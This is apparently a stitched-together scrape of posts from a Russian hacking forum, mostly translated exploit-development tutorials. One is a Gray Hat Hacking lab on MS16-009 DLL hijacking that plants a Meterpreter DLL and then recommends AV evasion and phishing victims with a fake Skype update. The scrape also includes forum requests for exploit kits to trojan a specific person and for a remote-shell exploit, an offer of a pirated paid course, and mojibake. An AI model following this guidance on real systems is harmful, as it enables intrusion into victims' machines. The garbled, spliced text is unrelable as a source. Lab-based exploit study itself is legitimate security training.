Из этих вариантов 5 и 6 потенциально представляют угрозу безопасности, поскольку они могут включать в себя местоположения, на которые может повлиять злоумышленник, например местоположения, доступные для записи всем. Обычная опция dwFlags, используемая для защиты вызовов LoadLibraryEX, - это 0x800 LOAD_LIBRARY_SEARCH_SYSTEM32. Этот параметр ограничивает загрузку библиотеки DLL только папкой System32.
Лабораторная 17-3: Diffing MS16-009
В этой лабораторной работе мы анализируем исправление безопасности, связанное с MS16-009 и MS16-014, которые оба утверждают, что устраняют CVE-2016-0041. Процесс извлечения патча завершен за вас и доступен в репозитории кода Gray Hat. В показанных примерах различий патчей используются IDA 7.0 x64 и BinDiff 4.3. Операционные системы, задействованные в эксплуатации, - это Kali Linux x64 и Windows 10 x64 Home Edition, номер сборки 10586. Версия Skype, используемая в базовой сборке Windows 10 — 7.18.0.112.
При извлечении патча MS16-009 мы определили, что файл urlmon.dll был обновлен. Как обновленная версия urlmon.dll, так и предыдущая были предоставлены вам в рамках этой лабораторной работы. Первый шаг - дизассемблировать их с помощью IDA и выполнить сравнение. Вы должны использовать BinDiff 4.3 с IDA, который поддерживает дизассемблирование 64-битных входных файлов, поскольку эта ошибка затрагивала только 64-битную Windows. Если у вас нет возможности дизассемблировать 64-разрядные входные файлы и сохранить файлы базы данных IDA .idb, вы не сможете выполнить эту лабораторную работу, а вместо этого сможете только прочитать следующие разделы. Вы также можете изучить radare2 как альтернативу IDA.
Теперь выполните сравнение, используя одну из этих опций. На следующем изображении показаны результаты при использовании BinDiff.
Согласно BinDiff изменилась только одна функция. Нет ничего проще, чем дать нам возможность сосредоточиться на функции, связанной с исправлением ошибки. Имя функции — BuildUserAgentStringMobileHelper(). Давайте нажмем CTRL+E, чтобы выполнить графическое сравнение. На следующем изображении показаны общие результаты.
При увеличении масштаба изменений кода мы можем быстро идентифицировать следующий блок.
Вы должны сразу заметить, что в непропатченной версии слева аргумент dwFlags подвергается операции XOR с 0. Это заставит SafeDllSearchMode вступить в силу. В исправленной версии справа для dwFlags установлено значение 0x800, что ограничит загрузку желаемой DLL в папку System32. Мы хотим увидеть, какая DLL загружается в это место в коде. Для этого мы можем просто вернуться в IDA и перейти к функции BuildUserAgentStringMobileHelper(). Самый простой способ быстро туда добраться - просто щелкнуть окно функций в IDA и начать вводить желаемое имя функции. Затем дважды щелкните по нему, чтобы вызвать дизассемблирование. Вы также можете пропустите этот шаг, щелкнув в главном окне дизассемблирования IDA, нажав G и введя адрес, куда вы хотите перейти. Оглядываясь назад на непропатченные результаты в BinDiff, мы видим, что интересующий адрес — 0x18003BCB1. После перехода по этому адресу мы получаем желаемый результат, как показано ниже.
Как видите, в этот момент кода загружается DLL-библиотека phoneinfo.dll. Вы можете пропустить следующий шаг, но цель состоит в том, чтобы показать вам, как определить, какие приложения нуждаются в этой DLL. Во-первых, в корне файловой системы был выполнен исчерпывающий поиск, чтобы увидеть, существует ли файл phoneinfo.dll в базовой установке Windows 10 x64. Было подтверждено, что файл не существует. Затем мы хотим запустить инструмент Process Monitor от Microsoft (доступный по адресу <https://docs.microsoft.com/en- us/sysinternals/downloads/procmon>). На следующем изображении показаны два фильтра, примененные к инструменту Process Monitor после его запуска.
Первый фильтр вступает в силу, если "Результат" - "NAME NOT FOUND". Второй
фильтр предназначен для «Пути» и заканчивается на "phoneinfo.dll". После
применения этих фильтров мы запускаем различные приложения, такие как IE11,
Edge, Skype, OneDrive, Word и другие.
Поскольку DLL называется phoneinfo.dll, имеет смысл попробовать определенные
приложения на основе только имени. Ниже приводится пример результатов.
Вы можете видеть, что и Internet Explorer, и Skype пытаются загрузить DLL. Справа вы можете увидеть все отмеченные места. Это поведение SafeDllSearchMode. Примечательно, что мы видим, что C:\Python27\ является одним из местоположений проверки. Если мы сможем создать вредоносную DLL с помощью msfvenom, используя Meterpreter в качестве полезной нагрузки, мы сможем получить удаленный сеанс с уязвимой системой Windows 10. На следующем изображении показано создание вредоносного файла phoneinfo.dll, который содержит полезную нагрузку Meterpreter, которая подключается к нашей системе Kali Linux. Сразу после этого мы используем модуль Python SimpleHTTPServer для передачи вредоносной DLL системе-жертве. Мы не применяли никаких методов кодирования обхода антивируса (AV), или других методов, поэтому мы отключили Защитник Windows, чтобы протестировать эксплойт.
Затем мы запускаем прослушиватель Metasploit для получения входящего соединения в случае успеха нашей атаки.
Когда слушатели Python и Metasploit работают, мы возвращаемся в систему Windows и используем Internet Explorer для подключения к системе Kali через порт 8080. Затем мы загружаем файл phoneinfo.dll и сохраняем его в C:\Python27, как показано здесь.
Затем мы запускаем Skype, который должен загрузить вредоносную DLL из папки C:\Python27\ как часть операции SafeDllSearchMode, как показано ниже.
Когда приложение Skype запущено, мы снова переключаемся на Kali Linux, чтобы увидеть, установлен ли сеанс Meterpreter.
Успех! Если мы хотим проделать это в условиях дикой среды, нужно учесть
несколько вещей. Во-первых, мы, безусловно, хотели бы закодировать полезную
нагрузку таким образом, чтобы избежать обнаружения AV. Во-вторых, мы хотели бы
найти способ обманом заставить жертву загрузить вредоносную DLL в свою систему
в определенное место. Это можно сделать с помощью фишинга. Заставить жертву
думать, что существует критическое обновление Skype и что DLL необходимо
разместить в определенном месте.
Резюме
В этой главе были представлены двоичное сравнение и различные инструменты, которые помогут ускорить анализ. Мы рассмотрели простой пример, подтверждающий концепцию приложения, а затем изучили реальные исправления, чтобы определить уязвимости и проверить наши предположения. Это приобретенный навык, тесно связанный с вашим опытом отладки и чтения дизассемблированного кода. Чем чаще вы это делаете, тем лучше вы будете определять изменения кода и потенциальные исправленные уязвимости. Microsoft прекратила поддержку Windows XP и Vista; однако некоторые версии, например с XP Embedded, все еще поддерживаются и получают исправления. Это может дать возможность продолжить анализ исправлений в операционной системе, которая не имеет такой сложности. Microsoft также нередко незаметно вносит изменения в код с помощью другого патча. Иногда это отличается в разных версиях Windows, где одна версия Windows может предоставить больше информации, чем различие другой версии.
Источник: Gray Hat Hacking the Ethica Hacker's Handbook 5th
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Описание курса
Уязвимости в современных операционных системах, таких как Microsoft Windows 10 и в последних дистрибутивах Linux, часто бывают очень сложными и незаметными. При использовании очень опытными злоумышленниками эти уязвимости могут подорвать защиту организации и подвергнуть ее значительному ущербу. Немногие специалисты по безопасности обладают навыками, позволяющими выяснить, почему существует сложная уязвимость и как написать эксплойт для ее компрометации. И наоборот, злоумышленники должны поддерживать этот набор навыков, несмотря на повышенную сложность. SEC760: Расширенная разработка эксплойтов для тестеров на проникновение обучает навыкам, необходимым для обратного проектирования 32-битных и 64-битных приложений, чтобы находить уязвимости, выполнять удаленную отладку пользовательских приложений и ядра, анализировать исправления безопасности для 1-day эксплойтов и писать сложные эксплойты, такие как атаки использования памяти после освобождения, против современного программное обеспечение и операционных систем.
Различные предварительно настроенные виртуальные машины, например Windows 10. Различные инструменты на USB-курсе, необходимые для использования в классе. Доступ к записанным аудио материалам курса, которые помогут пройти важные уроки по тестированию на проникновение в сеть.
Полный курс 2020 года (стоимость 7000$)
Все книги - лабы - видео - софт
27Gb
You must have at least 10 reaction(s) to view the content.
Часть 1: Введение в разработку эксплоитов
Это первая часть в (скромной) многотомной серии туториалов, посвященной разработке эксплоитов. Эта часть просто расскажет некоторые базовые вещи, такие, которые нам нужны, чтобы сделать нашу работу, основные идеи скрытые за разработкой эксплоитов и некоторые вещи, которые нужно держать в памяти, если мы хотим заслать и выполнить наш шеллкод. Эти туториалы не будут рассказывать как находить ошибки, вместо этого, каждая часть будет включать уязвимую программу, для которой нужна определенная техника, чтобы успешно эксплуатировать ошибку в ПО. Через определенное время, я намерен рассказать всё, от “Сохранения Адреса Возврата при Переполнении ” до “ROP (Возвратно Ориентированное Программирование)”, конечно эти туториалы не напишут сами себя, поэтому это займёт немного времени, чтобы написать это всё. Стоит отметить, что эти туториалы будут затрагивать все мелкие детали и случаи; это достигается благодаря дизайну, который (1) позволяет мне сэкономить время и (2) позволяет прилежному читателю учиться участвуя в процессе разработки.
**Я бы хотел выразить особую благодарность Offensive Security и Corelan`y, спасибо Вам, за то что дали мне эту удивительное и болезненное пристрастие!!
(1) Что нам понадобиться
Immunity Debugger** -
Download
Immunity Debugger похож на Ollydbg , но он имеет поддержку Python
, который нужен нам, чтобы запускать плагины, которые помогут нам с
разработкой эксплоита. Он бесплатен; когда перейдите по ссылке, просто
заполните поля левыми данными и нажмите скачать.
Mona.py - Download
Mona - это офигенная примочка с кучей функций, которая позволяет нам проводить
быстро и надёжно разработку эксплоита. Я не буду обсуждать все её опции здесь,
мы дойдём до них вскоре во время следующих частей туториала. Загрузите её и
положите её в каталог Immunity’s PyCommands.
Pvefindaddr.py -
Download
Pvefindaddr - это предшественник Mona’ы . Я знаю, что он немного
устарел, но остаётся всё ещё полезным, т.к. есть некоторые фишки, которые не
были перенесены ещё в Mona’у. Загрузите её и положите в каталог
Immunity’s PyCommands.
Metasploit Framework - Download
Мы будем использовать Metasploit Framework очень интенсивно. Больше всего
мы будем генерировать шеллкоды для наших эксплоитов, но нам также нужна
платформа, которая поможет получить любые соединения, чтобы можно было
вернуться в программу после выполнения эксплоита. Я предлагаю Вам использовать
Backtrack, т.к. у него есть всё, что нам нужно, но не стесняйтесь
настроить metasploit в любом случае для себя.
Программное обеспечение для виртуализации
В основном здесь существует два варианта — VirtualBox , который бесплатен
и Vmware , который не бесплатен. Если это возможно, я предложил бы
использовать Vmware ; умный человек, возможно, не должен платить за это
).
Вместе с этим нам будут нужны несколько (32-битных) операционных систем,
чтобы разрабатывать наши эксплоиты (Вы получите больше пользы из WindowsXP
PRO SP3 и любой Windows7).
_(2) Переполнения**_**
В обучающих целях, я думаю важно подать вещи очень просто, а не сложно. В общем, когда мы пишем эксплоит, нам нужно найти переполнение в программе. Обычно эти ошибки будут на Переполнение Буфера (место в памяти получает больше данных, чем планировалось) или Переполнение Стэка (обычно Переполнение Буфера, которое записывает за концом стэка. Когда такое переполнение случается, есть две вещи, которые мы ищем; (1) наш буфер должен перезаписать EIP (Текущий указатель на инструкцию) и (2) один из регистров ЦП должен содержать наш буфер. Вы можете увидеть список регистров x86 ЦП ниже, с их отдельными функциями. Всё что мы должны помнить, это то, что любой из этих регистров может хранить наш буфер (и шеллкод).
EAX — Главный регистр используемый в арифметических вычислениях. Он также известен как аккумулятор, он хранит результаты арифметических операций и возвращает значение из функции.
EBX — Регистр базы. Указатель на данные в сегменте DS. Используется, чтобы хранить базовый адрес программы.
ECX — Регистр счетчик, часто используется, чтобы хранить значение, представляющее какое количество раз процесс должен быть повторен. Используется для цикла и строковых операций.
EDX — регистр общего назначения. Также используется, для операций в/в. Помогает расширить регистр EAX до 64 бит.
ESI — Индексный регистр источника. Указатель на данные в сегменте указанном регистром DS. Используется как смещение в строковых и массивных операциях. Он хранит адреса откуда читаются данные.
EDI — Индексный регистр назначения. Указатель на данные(или назначение) в сегменте указанном регистром ES. Используется как смещение в строковых и массивных операциях. Он хранит адреса куда пишутся данные.
EBP — Указатель на базу. Указатель на данные, которые хранятся в стэке (в сегменте SS). Он указывает на начало фрэйма стэка. Он используется, чтобы обращаться к локальным переменным.
ESP — Указатель на стэк (в сегменте SS). Он указывает на вершину стэка в текущем фрэйме. Он используется, чтобы обращаться к локальным переменным.
EIP — Указатель на инструкцию (хранит адрес следующей инструкции, которая
должна быть выполнена)
_(3) Как это работает?_
В основном (1) мы заставляем программу хранить очень длинную строчку, (2) эта строка перезаписывает EIP и часть её храниться в регистре ЦП , (3) мы находим указатель, который указывает на регистр, который содержит наш буфер,(4) мы помещаем этот указатель в правильное место в нашем буфере, так, чтобы он перезаписал EIP , (5) когда программа достигает нашего указателя, она исполняет заданную нами инструкцию и прыгает на регистр, который содержит наш буфер и наконец (6) , мы кладем наш шеллкод в часть буфера, который храниться в регистре ЦП . В сущности, мы угоняем поток выполнения программы и указываем ей на область памяти, которую мы контролируем. Если мы сможет это сделать, мы сможем исполнять на удаленной машине любые инструкции. Это немного упрощенно, но этого должно нам хватить, чтобы понять базовые идеи того как работают эксплоиты.
Источник: https://www.fuzzysecurity.com/tutorials/expDev/1.html
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Предисловие переводчика
VRT - это подразделение Sourcefire, которое занимается поиском зиродеев и
написанием под них сигнатур для снорта. Довольно давно на их блоге была
хорошая статья на тему с чего начать в эксплойтинге. Ниже будет её перевод.
Она написана в довольно шутливом тоне и довольно легко читается, но это мой
первый опыт в переводах (читать то читаю легко), так что за исправление
косяков в тексте поблагадарю.
-------------------
How do I become a Ninja?
Ранее мы опубликовали на блоге пост — Задайте вопрос VRT. Несколько человек написали нам и задали вопросы, относящиеся к Snort`у. Но далее случилось кое что интересное. Некто под ником mish спросил - «Как мне стать Ниндзей?» (Его вопрос был несколько длинее и конечно мы подразумеваем «Ниндзя - иследователь уязвимостей»).
Мы задали этот вопрос нескольким людям из VRT и по видимому нажали на горячую кнопку нашего старшего директора группы исследования уязвимостей — Matt Watchinski. Далее следует его манифест в ответ на вопрос mish`а:
1. Вам нужно переделать ваш образ мышления. Большинство людей видят компьютер и программы как инструменты для выполнения задач, которые встают перед ними изо дня в день. Если вы видите все вокруг как что-то необходимое для вашей работы, тогда вы никогда не увидите это как что-то, что можно поломать и использовать для своей выгоды. Лучший путь о котором я когда нибудь слышал, приводящим к этому - «Будьте злым».
2. Чтение книг без попыток перевести информацию из них в практические знания не сделает из вас ниндзю. Только опыт делает ниндзю тем, чем он является. Сидение в библиотеке не даст ничего полезного. Как только вы исправите свой образ мышления на первый план выходят технические навыки.
3. Главное в технических навыках это то, что вам не надо быть мастером ни в одном из них, но вам надо быть мастером в поиске мест, где эта информация находится когда она вам нужна.
4. Возьмите себе старую RedHat без PAX/AppArmor/и тд, убедитесь, что рандомизация стека выключена и скачайте все уроки ABO`s from Gera ( http://community.corest.com/~gera/InsecureProgramming/ ). Начните работать над простыми примерами переполнения буфера. Если вы застряните — все ответы находятся в гугле (но не мошенничайте, оно того не стоит).
5. После этого вы будете ненавидеть GDB. Настало время перейти к настоящему отладчику. Возьмите виртуалку с Windows XP (без сервис пака) или с Windows 2000 с любым сервис паком (к слову, VMWare — великая вещь). Начните работать с AWBO ( http://www.snort.org/vrt/tools/awbo.html ). Там будет все, вплоть до эксплуатации уязвимости через seh на Windows. Никто не ожидает, что после завершения изучения этих примеров вы станете мастером в эксплойтах, но все базовые вещи должны быть освоены. Дополнительно, к этому моменту вы наверное прочтете все документы по теме переполнений, которые можно найти через гугл. Также вы должны уже свободно владеть WinDbg, OllyDbg или ImmunityDebugger (WinDbg круче) и к сожалению GDB, худшим отладчиком на планете.
6. Теперь пришло время попробовать немного code auditing. Простейший путь — провести аудит на предмет известных уязвимостей. Лучший пример работы этого типа здесь http://xorl.wordpress.com/category/bugs/ . Начните делать точно то, что делает этот парень. Также пришло время скачать C99 стандарт и прочитать его. Также неплохо скачать мануалы интела. После аудита нескольких сотен программ вы будете относительно фамильярны с паттернами Си и других языков, которые приводят к ошибкам. На самом деле весь code audit заключается в поиске паттернов, тк реальное программное обеспечение очень большое и способность быстро находить опасные шаблоны очень важна, так как позволяет вам пропустить тонны говно кода и сфокусироваться только на интересных кусках.
7. Теперь наступило время начать использовать другие инструменты. По моему мнению лучшее с чего можно начать это фаззеры, чтото типа FileFuzz от iDefense (http://packetstormsecurity.org/files/39626/FileFuzz.zip.html ). Также посмотрите на Sully и Peach. Запустите кучу виртуальных машин с различными программами и фаззьте их в фонновом режиме, пока изучаете другие вещи. В конце концов вы возненавидите эти инструменты так сильно, что у вас появится идея переписать их с нуля. Поддайтесь этой идее и начните писать простейший файловый фаззер. Но учитесь ненавидеть Sully/Peach и работать с ними одновременно, так как написание подобного инструмента с нуля займет кучу времени и вы забудете много всего написать по пути. Однако вы можете полюбить питон в процессе, правда не уверен хорошо это или плохо =).
8. Надеюсь к этому моменту вы получили несколько падений от своих фаззеров. Пришло время начать читать RFC, документацию на протоколы, форматы файлов и всего прочего, что имеет отношение к падению. Также это время купить IDA Pro (прим. переводчика — или скачать =)). Работайте над созданием надежного тест кейза (при. переводчика — минимально необходимого и надежного триггера падения) для вашего падения, чтобы точно понять, что происходит. Это искусство и нет более надежного способа обучится этому, чем отладка бинарных приложений без исходников, но это требует кучи проб и ошибок. В этот момент вы встанете над пропастью алкоголизма, так как будете биться головой о проблемы, которые не можете понять и из-за этого прикладываться к бутылке, чтобы унять боль. Настало время найти поддержку, не для алкоголизма, но для вашей проблемы. Алкоголизм — это нормально (не совсем). Если вы действительно хороши в эксплойтах, вам нужен алкоголь, чтобы прожить день, так как вы понимаете, что каждый инструмент и приложение, которое ты запускаешь содержит громадное количество уязвимостей, которые можно использовать, чтобы поиметь компьютер. Также если в процессе обучения вы писали себе инструменты вы найдете в них ошибки, так как большинство ниндзь в процессе обучения — хреновые кодеры (иногда настоящие ниндзя продолжают быть хреновыми кодерами) (заметка редактора — точнее они все хреновые кодеры).
9. Как только вы получите свой первый работающий зиро дей, вам нужно изобрести победный танец. Это важно, так как он будет использоваться в будущем, чтобы показать друзьям, что вы получили новый зиро дей. Хотя это и смотрится глупо это очень важно, так как теперь вы алкоголик и вам надо уметь быстро отпраздновать ваши достижения без прикладывания лишний раз к бутылке и не претуплять тем самым ваши боевые навыки.
10. Теперь у вас есть выбор. Вы имеете навыки, которые стоят денег. Вы можете начать самостоятельно продавать эксплойты или впечатлить какого-нибудь работодателя с помощью резюме, полного раскрытых уязвимостей. Но это не урок о бизнесе, это манифест о том как стать ниндзей.
11. Если вы выбрали путь работы на кого-то, то у вас есть возможность для специализации. Это хорошо, так как вам будет нужно писать новые тулзы и разрабатывать новые техники если вы выберите направление где нет публично доступной информации. К примеру возьмем реверсинг приложений под vxWorks. Ничего полезного об этом нигде нет. Прости, Matasano, но твой единственный пост в блоге на эту тему не считается и возможно нарушает что-то в DMCA, так что я не могу дать ссылку на него здесь.
После прочтения этой статьи у вас в мозгу наверное появилась мысль — «Это не то, о чем я спрашивал, я спрашивал о конкретных шагах, книгах и статьях». К сожалению ничего из того, что вы прочтете не сделает никогда из вас того, кем вы хотите быть. Только холодный, тяжелый практический опыт может сделать это. Вы не увидите этого, пока не начнете этим заниматься и каждое новое приключение будет открывать новую информацию и идеи, которые были скрыты пока вы в них не нуждались. Вы действительно должны любить этот процесс. Если вы входите в ресторан и видите компьютер с меню на нем и вашей первой мыслью будет не потрогать все его кнопки и посмотреть сломается ли он, значит вы не любите все это.
Оригинал : http://vrt-blog.snort.org/2009/07/how-do-i-become-ninja.html
Перевод : higaru
Собрав факты.
Отключив JS можно весьма прилично обезопасить работу в сети, но при этом будет
криво отображаться множество сайтов.
Поэтому думаю стоит установить фаерфокс и плагин NOSCRIPT. Данный плагин
позволяет вам самим выбирать на каких сайтах можно запускать JS.
К сожалению не так все просто, в наше время связки развиваются. Поэтому имеет
смысл использовать софт для блокировки flash, pdf утилит.
Для этого можно использовать FLASHBLOCK. Многие из нас слышали про .NET и
JAVA, для большей безопасности не следует устанавливать их. ( Почему, к
сожалению одинокий волк умолчал... )
Многиз связки работают посредством PHP/PERL. Однако если настроить фильтрацию
заголовков, то безопасность так же заметно увеличится.
Регулярно обновлять антивирусное ПО/ОС/Да и вообще весь софт.
Для параноиков!!!
Самое главное я думаю не обходимо самому следить за версиями установленных
програм. Время от времени проверять сплойты.
Если под версию установленного у вас ПО появился эксплойт, то следует удалить
или обновить софтинку.
Буду добавлять по мере поступления информации.
-------------------------------------------------------------------------------------
Какая на даннный момент самая актуальная ПАБЛИК связка ?
Каковы шансы протроянить с ее помощью 1 конкретноо человека ?
Ну и честно признаюсь с связками никогда не работал еще...
Можно ли использовать простой хостинг, вернее абузный иметь обязательно ли ?
И каким образом связка устанавливается ?
Какие шансы протроянить человека например как я = )
Ось не обновляласт с момента покупки ХР.
Софт и прочее аналогично.
Антивируса нет.
Фаерволла нет.
Буду ждать помощи от старперов в этой тематики.
Если что прошу прощения за размещение темы.
Может быть я ошибся разделом.
Хотите узнать, как взломать V8 или Chrome? У вас есть свободное время в дороге? Посмотрите эти доклады с конференций или прочтите эти статьи, чтобы узнать больше о V8 и внутреннем устройстве Chrome.
**Видео **
Концепции V8
Безопасность Chrome и IPC
Ignition (интерпретатор V8)
Turbofan (JIT-компилятор V8)
Orinoco (Сборщик мусора V8)
Полезные ссылки
Источник: <https://zon8.re/posts/v8-chrome-architecture-reading-list-for- vulnerability-researchers/>
Правила раздела "Эксплойтинг"
Прежде всего данный раздел создан для обсуждения технических подробностей бинарных уязвимостей! Для публикации эксплойтов существует раздел Bugtraq.
В данном разделе приветствуется обсуждения на тему:
Для решения каких либо проблем или затруднений существует тема в стиле
быстрого вопроса ответа (FAQ) где можно задать соответствующий вопрос.
[FAQ] Memory corruption & shellcoding
В разделе есть специальный тег PWN, которым помечаются цтф решения и writeups по бинарной эксплуатации, позволяя пользователям изучать различные техники и подходы к анализу уязвимостей на основе уже готовых решений.
**В этом разделе ЗАПРЕЩЕНО вести коммерческую деятельность, для этого есть раздел Торговая площадка.
Запрещено** (наказание ПРЕДУПРЕЖДЕНИЕ - рецидив БАН)
Кроме правил раздела существует обязательное выполнение общих правил форума.
Рекомендации
Многочисленные уязвимости были найдены в загрузчике бинарных файлов типа ELF. Источники этих проблем находятся в функции load_elf_binary файла binfmt_elf.c Первая проблема происходит от неправильной проверки возвращаемого значения функции kernel_load. Атакующий может получить контроль над выполнением SUID- ного бинарника с помощью изменения расположения памяти бинарника. Вторая проблема происходит от неправильной обработки ошибки во время сбоя mmap() Третья уязвимости происходит когда неправильное возврещаемое значение программы интерпретатора (линкера) загружается в память. Говорят, что эта проблема существует только для 2.4.х версий ядра. Четвертая уязвимость выявляется в то время как пользователь может выполнить бинарник с неправильной строкой названия интерпретатора. Эта проблема может привести к системному сбою. Последняя проблема существует в коде execve() . Эта проблема может позволить атакующему раскрыть доступ к важным данным, которые могут потенциально быть использованы чтобы заполучить более высокие привелегии. Эксплоит одной из уязвимостей доступен здесь: http://securityfocus.com/data/vulnerabilit...nfmt_elf_dump.c
[mod][Great:] Склеил эту тему с новой. Теперь тут постим все баги в ядрышке пингвина.[/mod]
Парни такой вопрос, где найти сплоит под Сп2 что бы давал шелл на удаленной
тачке!
Типа КАНТ2- но он под Сп2 на работает)..
И если моно инфу поподробнее)
3аранее благодарен!
Virtualization security Generalized deep technical
● https://www.cs.ucr.edu/~heng/pubs/VDF_raid17.pdf
● https://www.ernw.de/download/xenpwn.pdf
● [https://www.blackhat.com/docs/eu-16...tual-Device-Fuzzing-Framework-With-
AFL-wp.pdf](https://www.blackhat.com/docs/eu-16/materials/eu-16-Li-When-
Virtualization-Encounters-AFL-A-Portable-Virtual-Device-Fuzzing-Framework-
With-AFL-wp.pdf)
● [https://www.syssec.ruhr-uni-bochum....entlichungen/2020/02/07/Hyper-Cube-
NDSS20.pdf](https://www.syssec.ruhr-uni-
bochum.de/media/emma/veroeffentlichungen/2020/02/07/Hyper-Cube-NDSS20.pdf)
●
https://www.troopers.de/downloads/t...ing_hypervisor_through_hardwear_emulation.pdf
Quality reference - system internals & vulndev primitives
● [https://www.exploit-db.com/docs/eng...-on-vulnerabilities-of-hypercall-
handlers.pdf](https://www.exploit-db.com/docs/english/34859-technical-
information-on-vulnerabilities-of-hypercall-handlers.pdf)
● https://census-labs.com/media/straightouttavmware-wp.pdf
● [https://www.blackhat.com/docs/eu-17...tudy-Of-Vmware-G2H-Escape-
Vulnerabilities.pdf](https://www.blackhat.com/docs/eu-17/materials/eu-17-Mandal-
The-Great-Escapes-Of-Vmware-A-Retrospective-Case-Study-Of-Vmware-G2H-Escape-
Vulnerabilities.pdf)
Frontiers: Hyper-V, ESXi, speculative execution
● https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/index.html
● https://www.usenix.org/system/files/woot19-paper_zhao.pdf
● [https://blogs.technet.microsoft.com...anted-to-know-about-sr-iov-in-hyper-
v-part-1/](https://blogs.technet.microsoft.com/jhoward/2012/03/12/everything-
you-wanted-to-know-about-sr-iov-in-hyper-v-part-1/)
●
[https://www.blackhat.com/presentati...tation/BH07_Baker_WSV_Hypervisor_Security.pdf](https://www.blackhat.com/presentations/bh-
usa-07/Baker/Presentation/BH07_Baker_WSV_Hypervisor_Security.pdf) (2007!)
● [https://github.com/Microsoft/MSRC-Security-
Research/blob/master/presentations/2019_02_OffensiveCon/2019_02 - OffensiveCon
References
● Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined
Volumes: 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D and 4
![software.intel.com](/proxy.php?image=https%3A%2F%2Fwww.intel.com%2Fcontent%2Fdam%2Fdevelop%2Fexternal%2Fus%2Fen%2Fimages%2Fwebops-14706-developer- manuals-375.jpg&hash=ac6efe36deb3c4de3a076d282638b9c2&return_error=1)
](https://software.intel.com/content/www/us/en/develop/articles/intel- sdm.html)
These manuals describe the architecture and programming environment of the Intel® 64 and IA-32 architectures.
software.intel.com
● TLFS: Microsoft Hypervisor Top Level Functional Specification
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
us/virtualization/hyper-v-on-windows/reference/tlfs)
Hypervisor Specification
docs.microsoft.com
● Hyper-V Architecture
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
us/virtualization/hyper-v-on-windows/reference/hyper-v-architecture)
Describes the Hyper-V architecture and its role in virtualization and provides an overview and glossary of the architecture.
docs.microsoft.com
● Enhanced Session Mode
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/user- guide/enhanced-session-mode)
Walks you through sharing devices with Hyper-V virtual machines (USB, audio, microphone, and mounted drives).
docs.microsoft.com
● Overview of Remote NDIS
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://docs.microsoft.com/en-us/windows-hardware/drivers/network/overview- of-remote-ndis--rndis-)
RNDIS eliminates the need for hardware vendors to write an NDIS miniport driver for a network device attached to the USB bus.
docs.microsoft.com
● [MS-RNDIS]
[ https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/WinArchive/%5bMS- RNDIS%5d.pdf ](https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/WinArchive/%5bMS- RNDIS%5d.pdf)
● SLP: Service Location Protocol specification
Service Location Protocol (RFC )
![tools.ietf.org](/proxy.php?image=https%3A%2F%2Fwww.ietf.org%2Flib%2Fdt%2F7.41.0%2Fietf%2Fimages%2Fietf- icon-blue3.png&hash=7932d509fe2838e7f9e2c7f966f133c1&return_error=1) tools.ietf.org
Service Location Protocol, Version 2 (RFC )
![tools.ietf.org](/proxy.php?image=https%3A%2F%2Fwww.ietf.org%2Flib%2Fdt%2F7.41.0%2Fietf%2Fimages%2Fietf- icon-blue3.png&hash=7932d509fe2838e7f9e2c7f966f133c1&return_error=1) tools.ietf.org
Taken from
https://alisa.sh/slides/HypervisorVulnerabilityResearch2020.pdf
Всем привет.
Опубликовал новый перевод.
иÑполÑзованием IDA FREE и дÑÑÐ³Ð¸Ñ Ð±ÐµÑплаÑнÑÑ Ð¸Ð½ÑÑÑÑменÑов. Ðлава 2 ](https://habr.com/ru/post/496672/)
РпеÑвой ÑаÑÑи Ð¼Ñ ÑÑÑановили неÑколÑко инÑÑÑÑменÑов, коÑоÑÑе бÑдÑÑ Ð¿Ð¾Ð»ÐµÐ·Ð½Ñ Ð´Ð»Ñ Ð½Ð°Ñ Ð´Ð»Ñ Ð¿ÑоÑÐ¾Ð¶Ð´ÐµÐ½Ð¸Ñ ÑÑого кÑÑÑа. ÐÑ Ð¾ÑобенноÑÑÑ Ð² Ñом, ÑÑо они вÑе беÑплаÑнÑ. ÐÑ Ð½Ðµ бÑдем иÑполÑзоваÑÑ...
![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com
Если очень нужно могу ещё и сюда залить.
Туториал по написанию эксплойтов часть 7: Юникод - от 0×00410041 до calc.exe
Наконец ... проведя пару недель работая над юникодом и юникодными экслойтами,
я счастлив, что могу опубликовать эту статью, относящуюся [к серии написания
эксплойтов](https://www.corelan.be/index.php/category/security/exploit-
writing-tutorials/) : написание эксплойтов для стека основанного на
переполнении буфера Юникода.
Бывало что вы сталкивались (а может и
нет)
с ситуацией, когда вы выполнили переполнение стека буфера, перезаписывая или
RET адрес или SEH записи , но вместо того, чтобы получать 0×41414141
в EIP , вы получили 0×00410041.
Иногда, когда данные используются в функции, применяются некоторые
манипуляции. Иногда данные преобразуются в верхний регистр, в нижний регистр,
и т. д. В некоторых случаях данные конвертируется в Юникод. Когда вы видите,
0×00410041 в EIP, во многих случаях, это, вероятно, означает, что ваша
полезная нагрузка была преобразована в Юникод, прежде чем она попала в стек.
В течение долгого времени, люди полагали, что этот тип перезаписи не может
быть использован. Это могло привести к отказу в обслуживании, но не к
выполнению кода.
В 2002 году Крис Анлей написал документ, показывающий, что это утверждение
ложно. Так родился термин "Венецианский Шеллкод".
В январе 2003 года, статья
«Phrack(http://www.phrack.org/issues.html?issue=61&id=11#article)» была
написана автором по имени Обскоу (Obscou), в которой была продемонстрирована
